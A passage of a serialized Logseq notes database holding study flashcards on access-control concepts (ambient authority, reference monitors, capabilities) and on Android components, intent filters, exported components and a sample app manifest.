Denied)\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Flogseq____&quot;,45,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Vlogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-9d35-41d6-abe8-55ba54cd1ec0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Ambient Authority #card #security-architecture\\nid:: 67b7665b-d447-4148-968c-5e162ec8c3fclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Flogseq____&quot;,351,536871283]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Vlogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b7665b-d447-4148-968c-5e162ec8c3fclogseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b7665b-d447-4148-968c-5e162ec8c3fclogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[60,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b7665b-d447-4148-968c-5e162ec8c3fclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Tamper proof*: Protection from compromiselogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Flogseq____&quot;,46,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Vlogseq____&quot;,51,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[61,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-bf6b-448f-91e6-2c840cc47be9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[Reference monitor]((67b75a09-cf78-4ea2-aee5-d3adb4d9802d)) checks subject against list of authorized subjectslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Flogseq____&quot;,39,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Vlogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[62,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-38c4-47e0-9727-505c6e00d263logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*subject-centered*: capabilities as *unforgeable*, *tamper-proof* token defining its holderlogseq____&apos;s privilegeslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Flogseq____&quot;,58,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Vlogseq____&quot;,58,536870916]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Ulogseq____&quot;,2,536870924]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Ulogseq____&quot;,37,536870924]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^Ulogseq____&quot;,38,536870924]],[logseq____&quot;^15logseq____&quot;,[63,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-8c77-48e7-ae66-38a9075f9be1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Authorization is based on *subject identity* (only specify the object to access and the operation)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Flogseq____&quot;,341,536870927]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Vlogseq____&quot;,60,536870916]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Ulogseq____&quot;,2,536871284]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Ulogseq____&quot;,37,536871284]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^Ulogseq____&quot;,38,536871284]],[logseq____&quot;^15logseq____&quot;,[64,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-df44-47da-b00b-fbc0dd83bb41logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;broadcast receiver componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^11logseq____&quot;,logseq____&quot;Broadcast Receiver Componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[74,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b953-4ec2-a25e-a361e7ca3ae3logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;intent messageslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^11logseq____&quot;,logseq____&quot;Intent Messageslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^Blogseq____&quot;,1740134121672,536872930]],[logseq____&quot;^15logseq____&quot;,[75,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-aa2a-4b14-8cd9-a9e084e23c17logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Intent Filters\\nid:: 6717978c-801a-4383-b970-cffcfbb13343logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Flogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Vlogseq____&quot;,90,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;6717978c-801a-4383-b970-cffcfbb13343logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536873236]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536873236]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;6717978c-801a-4383-b970-cffcfbb13343logseq____&quot;],536873236]],[logseq____&quot;^15logseq____&quot;,[76,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u6717978c-801a-4383-b970-cffcfbb13343logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Due to privacy concerns, apps do not have access to a list of installed packageslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Flogseq____&quot;,92,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Vlogseq____&quot;,92,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[77,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-68e2-496b-b0b7-4a9500a37147logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Example\\nid:: 6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Flogseq____&quot;,86,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Vlogseq____&quot;,79,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536873236]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536873236]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____&quot;],536873236]],[logseq____&quot;^15logseq____&quot;,[78,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Declares #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Flogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Vlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873236]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Jlogseq____&quot;,[],536873236]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Hlogseq____&quot;,2,536873236]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^Hlogseq____&quot;,24,536873236]],[logseq____&quot;^15logseq____&quot;,[79,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-5684-4d9e-bdb0-a7a50eb1b95alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Example: see ((6717ce84-d0f0-48ee-8138-2dd29ce1cc0e))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Flogseq____&quot;,83,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Vlogseq____&quot;,76,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^Hlogseq____&quot;,78,536873236]],[logseq____&quot;^15logseq____&quot;,[80,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-3759-40e7-b7d1-4509693c6052logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;if set to `true`, another application can call this component using [Intents]([[Intent Messages]])logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Flogseq____&quot;,91,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Vlogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^Hlogseq____&quot;,75,536873236]],[logseq____&quot;^15logseq____&quot;,[81,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-b13e-4962-a444-45ec6b447692logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```xml\\nlogseq____&lt;manifest xmlns:android=\\logseq____&quot;http://schemas.android.com/apk/res/android\\logseq____&quot;\\n xmlns:tools=\\logseq____&quot;http://schemas.android.com/tools\\logseq____&quot;logseq____&gt;\\n logseq____&lt;application\\n\\tandroid:icon=\\logseq____&quot;@mipmap/ic_launcher\\logseq____&quot;\\n\\tandroid:label=\\logseq____&quot;@string/app_name”\\n\\t...\\n\\tandroid:roundIcon=\\logseq____&quot;@mipmap/ic_launcher_round\\logseq____&quot;\\n\\ttools:targetApi=\\logseq____&quot;31\\logseq____&quot;logseq____&gt;\\n\\t\\n\\t\\tlogseq____&lt;activity android:name=\\logseq____&quot;.MainActivity” android:exported=\\logseq____&quot;true\\logseq____&quot;logseq____&gt;\\n\\t\\t\\tlogseq____&lt;intent-filterlogseq____&gt;\\n\\t\\t\\t\\tlogseq____&lt;action android:name=\\logseq____&quot;android.intent.action.MAIN\\logseq____&quot; /logseq____&gt;\\n\\t\\t\\t\\tlogseq____&lt;category android:name=\\logseq____&quot;android.intent.category.LAUNCHER\\logseq____&quot; /logseq____&gt;\\n\\t\\t\\tlogseq____&lt;/intent-filterlogseq____&gt;\\n\\t\\tlogseq____&lt;/activitylogseq____&gt;\\n\\n \\t\\tlogseq____&lt;receiver android:name=”.MyReceiver\\logseq____&quot; logseq____&gt;\\n\\t\\t\\tlogseq____&lt;intent-filterlogseq____&gt;\\n\\t\\t\\tlogseq____&lt;action android:name=\\logseq____&quot;android.intent.action.BOOT_COMPLETED\\logseq____&quot; /logseq____&gt;\\n\\t\\t\\tlogseq____&lt;/intent-filterlogseq____&gt;\\n\\t\\tlogseq____&lt;/receiverlogseq____&gt;\\n\\t\\t...\\n\\tlogseq____&lt;/applicationlogseq____&gt;\\nlogseq____&lt;/manifestlogseq____&gt;\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Flogseq____&quot;,78,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Vlogseq____&quot;,78,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[82,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-627f-48c9-be08-c3c802d79962logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Specify information about which [Intents]([[Intent Messages]]) the component receiveslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Flogseq____&quot;,76,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Vlogseq____&quot;,76,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^Hlogseq____&quot;,75,536873236]],[logseq____&quot;^15logseq____&quot;,[83,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-0343-4963-8e6d-f4f3e985cc37logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Example: see ((6717ce84-d0f0-48ee-8138-2dd29ce1cc0e))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Flogseq____&quot;,87,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Vlogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^Hlogseq____&quot;,78,536873236]],[logseq____&quot;^15logseq____&quot;,[84,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-0b5d-46a6-9fcd-e09676b8135clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Exportedlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Flogseq____&quot;,90,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Vlogseq____&quot;,90,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536873236]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^Jlogseq____&quot;,[],536873236]],[logseq____&quot;^15logseq____&quot;,[85,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-b6b4-45f9-b63f-912fb07b8e00logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;components ([[Activity]], [BroadcastReceiver]([[Broadcast Receiver]]) etc.)logseq____&quot;,536873236]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Flogseq____&quot;,88,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Vlogseq____&quot;,79,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,27,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,74,536870916]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,410,536873236]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Ulogseq____&quot;,411,536873236]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Hlogseq____&quot;,410,536873236]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^Hlogseq____&quot;,411,536873236]],[logseq____&quot;^15logseq____&quot;,[86,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-f491-470d-b484-74282d4e99a0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Otherwise, it can only be invoked by components of the same app or a privileged system componentlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Flogseq____&quot;,81,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Vlogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[87,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-02e6-4434-bd2b-7d2d62af330elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;application meta-data (Launcher Icon, name)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Flogseq____&quot;,79,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Vlogseq____&quot;,79,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[88,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-9493-4ffb-bb41-6815271ded6dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;If needed, apps can *query* other packages via their explicit name or declare ((6717978c-801a-4383-b970-cffcfbb13343)) that they want to subscribe tologseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Flogseq____&quot;,77,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Vlogseq____&quot;,92,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^Hlogseq____&quot;,76,536873236]],[logseq____&quot;^15logseq____&quot;,[89,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-7d40-45e3